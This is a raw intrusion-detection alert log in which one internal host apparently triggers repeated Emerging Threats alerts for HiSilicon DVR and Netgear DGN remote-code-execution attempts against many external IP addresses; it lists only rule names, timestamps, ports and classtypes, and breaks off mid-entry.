Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 60.232.242.145

Timestamp:	05/16/24-16:39:16.578973
SID:	2030488
Source Port:	42410
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 60.232.242.145

Timestamp:	05/16/24-16:39:16.578973
SID:	2030487
Source Port:	42410
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 160.99.1.185

Timestamp:	05/16/24-16:39:16.609437
SID:	2030487
Source Port:	56088
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 160.99.1.185

Timestamp:	05/16/24-16:39:16.609437
SID:	2030488
Source Port:	56088
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 143.142.25.168

Timestamp:	05/16/24-16:39:12.295355
SID:	2030487
Source Port:	53750
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 143.142.25.168

Timestamp:	05/16/24-16:39:12.295355
SID:	2030488
Source Port:	53750
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 23.230.14.100

Timestamp:	05/16/24-16:39:08.041280
SID:	2030487
Source Port:	46312
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 23.230.14.100

Timestamp:	05/16/24-16:39:08.041280
SID:	2030488
Source Port:	46312
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 202.235.238.143

Timestamp:	05/16/24-16:39:16.600042
SID:	2030487
Source Port:	52342
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 178.43.10.146

Timestamp:	05/16/24-16:38:49.282376
SID:	2024916
Source Port:	40108
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 202.235.238.143

Timestamp:	05/16/24-16:39:16.600042
SID:	2030488
Source Port:	52342
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 68.173.19.12

Timestamp:	05/16/24-16:39:12.384403
SID:	2030487
Source Port:	40754
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 169.101.183.76

Timestamp:	05/16/24-16:38:57.411084
SID:	2030488
Source Port:	33030
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 68.173.19.12

Timestamp:	05/16/24-16:39:12.384403
SID:	2030488
Source Port:	40754
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 169.101.183.76

Timestamp:	05/16/24-16:38:57.411084
SID:	2030487
Source Port:	33030
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 135.172.237.65

Timestamp:	05/16/24-16:39:05.713006
SID:	2030487
Source Port:	58206
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 135.172.237.65

Timestamp:	05/16/24-16:39:05.713006
SID:	2030488
Source Port:	58206
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 208.135.211.193

Timestamp:	05/16/24-16:38:53.084704
SID:	2030487
Source Port:	59636
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 208.135.211.193

Timestamp:	05/16/24-16:38:53.084704
SID:	2030488
Source Port:	59636
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 106.90.80.118

Timestamp:	05/16/24-16:38:59.520089
SID:	2030487
Source Port:	58226
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 106.90.80.118

Timestamp:	05/16/24-16:38:59.520089
SID:	2030488
Source Port:	58226
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 167.82.133.169

Timestamp:	05/16/24-16:38:57.429987
SID:	2030487
Source Port:	41432
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 167.82.133.169

Timestamp:	05/16/24-16:38:57.429987
SID:	2030488
Source Port:	41432
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 54.116.122.44

Timestamp:	05/16/24-16:39:02.767214
SID:	2030487
Source Port:	41130
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 174.205.97.138

Timestamp:	05/16/24-16:39:08.145395
SID:	2030488
Source Port:	39710
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 54.116.122.44

Timestamp:	05/16/24-16:39:02.767214
SID:	2030488
Source Port:	41130
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 174.205.97.138

Timestamp:	05/16/24-16:39:08.145395
SID:	2030487
Source Port:	39710
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 175.121.101.198

Timestamp:	05/16/24-16:38:57.438275
SID:	2030487
Source Port:	45742
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.168.10.95

Timestamp:	05/16/24-16:39:03.281741
SID:	2030488
Source Port:	56048
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 175.121.101.198

Timestamp:	05/16/24-16:38:57.438275
SID:	2030488
Source Port:	45742
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 80.168.10.95

Timestamp:	05/16/24-16:39:03.281741
SID:	2030487
Source Port:	56048
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 101.208.180.41

Timestamp:	05/16/24-16:39:08.124581
SID:	2030487
Source Port:	48066
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 101.208.180.41

Timestamp:	05/16/24-16:39:08.124581
SID:	2030488
Source Port:	48066
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 8.172.120.59

Timestamp:	05/16/24-16:39:05.506752
SID:	2029215
Source Port:	60530
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 83.196.250.149

Timestamp:	05/16/24-16:39:02.726853
SID:	2030487
Source Port:	34440
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 83.46.41.174

Timestamp:	05/16/24-16:39:03.260897
SID:	2030487
Source Port:	54218
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.196.250.149

Timestamp:	05/16/24-16:39:02.726853
SID:	2030488
Source Port:	34440
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 133.253.244.57

Timestamp:	05/16/24-16:38:53.064518
SID:	2030487
Source Port:	40190
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 181.188.20.229

Timestamp:	05/16/24-16:38:49.305817
SID:	2034576
Source Port:	37628
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 133.253.244.57

Timestamp:	05/16/24-16:38:53.064518
SID:	2030488
Source Port:	40190
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.46.41.174

Timestamp:	05/16/24-16:39:03.260897
SID:	2030488
Source Port:	54218
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 118.158.36.213

Timestamp:	05/16/24-16:38:59.560306
SID:	2030487
Source Port:	56966
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 118.158.36.213

Timestamp:	05/16/24-16:38:59.560306
SID:	2030488
Source Port:	56966
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.14.90.210

Timestamp:	05/16/24-16:39:14.493453
SID:	2030488
Source Port:	39930
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.14.90.210

Timestamp:	05/16/24-16:39:14.493453
SID:	2030487
Source Port:	39930
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 77.176.220.182

Timestamp:	05/16/24-16:38:53.094669
SID:	2030487
Source Port:	54998
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 27.7.174.3

Timestamp:	05/16/24-16:38:53.064487
SID:	2030488
Source Port:	55770
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 27.7.174.3

Timestamp:	05/16/24-16:38:53.064487
SID:	2030487
Source Port:	55770
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 77.176.220.182

Timestamp:	05/16/24-16:38:53.094669
SID:	2030488
Source Port:	54998
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 169.91.70.95

Timestamp:	05/16/24-16:38:59.557118
SID:	2030487
Source Port:	43708
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.74.42.203

Timestamp:	05/16/24-16:39:02.765727
SID:	2030488
Source Port:	50042
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 54.199.51.10

Timestamp:	05/16/24-16:39:14.510062
SID:	2030487
Source Port:	38364
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 169.91.70.95

Timestamp:	05/16/24-16:38:59.557118
SID:	2030488
Source Port:	43708
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 54.199.51.10

Timestamp:	05/16/24-16:39:14.510062
SID:	2030488
Source Port:	38364
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 171.74.42.203

Timestamp:	05/16/24-16:39:02.765727
SID:	2030487
Source Port:	50042
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 52.66.16.192

Timestamp:	05/16/24-16:38:50.080377
SID:	2030487
Source Port:	52790
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 52.66.16.192

Timestamp:	05/16/24-16:38:50.080377
SID:	2030488
Source Port:	52790
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 106.198.76.169

Timestamp:	05/16/24-16:38:53.098294
SID:	2030488
Source Port:	39264
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 5.74.252.139

Timestamp:	05/16/24-16:38:53.011285
SID:	2030487
Source Port:	54316
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 106.198.76.169

Timestamp:	05/16/24-16:38:53.098294
SID:	2030487
Source Port:	39264
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.74.252.139

Timestamp:	05/16/24-16:38:53.011285
SID:	2030488
Source Port:	54316
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 101.91.11.3

Timestamp:	05/16/24-16:39:08.149458
SID:	2030487
Source Port:	34992
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 205.193.250.208

Timestamp:	05/16/24-16:39:16.613472
SID:	2030487
Source Port:	46910
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 205.193.250.208

Timestamp:	05/16/24-16:39:16.613472
SID:	2030488
Source Port:	46910
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 101.91.11.3

Timestamp:	05/16/24-16:39:08.149458
SID:	2030488
Source Port:	34992
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 27.53.43.20

Timestamp:	05/16/24-16:38:55.193088
SID:	2030487
Source Port:	40224
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 149.51.254.226

Timestamp:	05/16/24-16:39:16.579919
SID:	2030488
Source Port:	56286
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 27.53.43.20

Timestamp:	05/16/24-16:38:55.193088
SID:	2030488
Source Port:	40224
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 149.51.254.226

Timestamp:	05/16/24-16:39:16.579919
SID:	2030487
Source Port:	56286
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 221.8.56.219

Timestamp:	05/16/24-16:39:14.514904
SID:	2030488
Source Port:	48102
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 221.8.56.219

Timestamp:	05/16/24-16:39:14.514904
SID:	2030487
Source Port:	48102
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 102.30.213.106

Timestamp:	05/16/24-16:38:53.011565
SID:	2030488
Source Port:	36656
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 102.30.213.106

Timestamp:	05/16/24-16:38:53.011565
SID:	2030487
Source Port:	36656
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 173.71.159.11

Timestamp:	05/16/24-16:39:02.727995
SID:	2030488
Source Port:	54626
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 173.71.159.11

Timestamp:	05/16/24-16:39:02.727995
SID:	2030487
Source Port:	54626
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 131.228.12.149

Timestamp:	05/16/24-16:39:08.124570
SID:	2030487
Source Port:	40170
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 131.228.12.149

Timestamp:	05/16/24-16:39:08.124570
SID:	2030488
Source Port:	40170
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 14.153.198.210

Timestamp:	05/16/24-16:38:57.451882
SID:	2030487
Source Port:	42972
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 14.153.198.210

Timestamp:	05/16/24-16:38:57.451882
SID:	2030488
Source Port:	42972
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 62.246.197.98

Timestamp:	05/16/24-16:39:03.262279
SID:	2030488
Source Port:	56734
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 62.246.197.98

Timestamp:	05/16/24-16:39:03.262279
SID:	2030487
Source Port:	56734
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 25.93.72.242

Timestamp:	05/16/24-16:39:09.587543
SID:	2029215
Source Port:	47444
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 67.192.93.169

Timestamp:	05/16/24-16:38:57.439252
SID:	2030487
Source Port:	37604
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 67.192.93.169

Timestamp:	05/16/24-16:38:57.439252
SID:	2030488
Source Port:	37604
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 90.142.188.184

Timestamp:	05/16/24-16:39:12.378435
SID:	2030488
Source Port:	39684
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 90.142.188.184

Timestamp:	05/16/24-16:39:12.378435
SID:	2030487
Source Port:	39684
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 134.172.78.56

Timestamp:	05/16/24-16:39:03.280149
SID:	2030487
Source Port:	43972
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 134.172.78.56

Timestamp:	05/16/24-16:39:03.280149
SID:	2030488
Source Port:	43972
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.156.126.64

Timestamp:	05/16/24-16:39:14.507430
SID:	2030488
Source Port:	52842
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 200.156.126.64

Timestamp:	05/16/24-16:39:14.507430
SID:	2030487
Source Port:	52842
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 92.208.34.22

Timestamp:	05/16/24-16:39:12.301097
SID:	2030488
Source Port:	56476
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 92.208.34.22

Timestamp:	05/16/24-16:39:12.301097
SID:	2030487
Source Port:	56476
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 179.33.222.154

Timestamp:	05/16/24-16:39:05.715286
SID:	2030487
Source Port:	47922
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 155.239.87.160

Timestamp:	05/16/24-16:38:57.304814
SID:	2030488
Source Port:	57300
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 179.33.222.154

Timestamp:	05/16/24-16:39:05.715286
SID:	2030488
Source Port:	47922
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 155.239.87.160

Timestamp:	05/16/24-16:38:57.304814
SID:	2030487
Source Port:	57300
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 80.171.247.43

Timestamp:	05/16/24-16:38:55.193115
SID:	2030487
Source Port:	57722
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 223.76.85.219

Timestamp:	05/16/24-16:38:55.192741
SID:	2030487
Source Port:	32880
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.248.160.162

Timestamp:	05/16/24-16:38:59.556468
SID:	2030488
Source Port:	47914
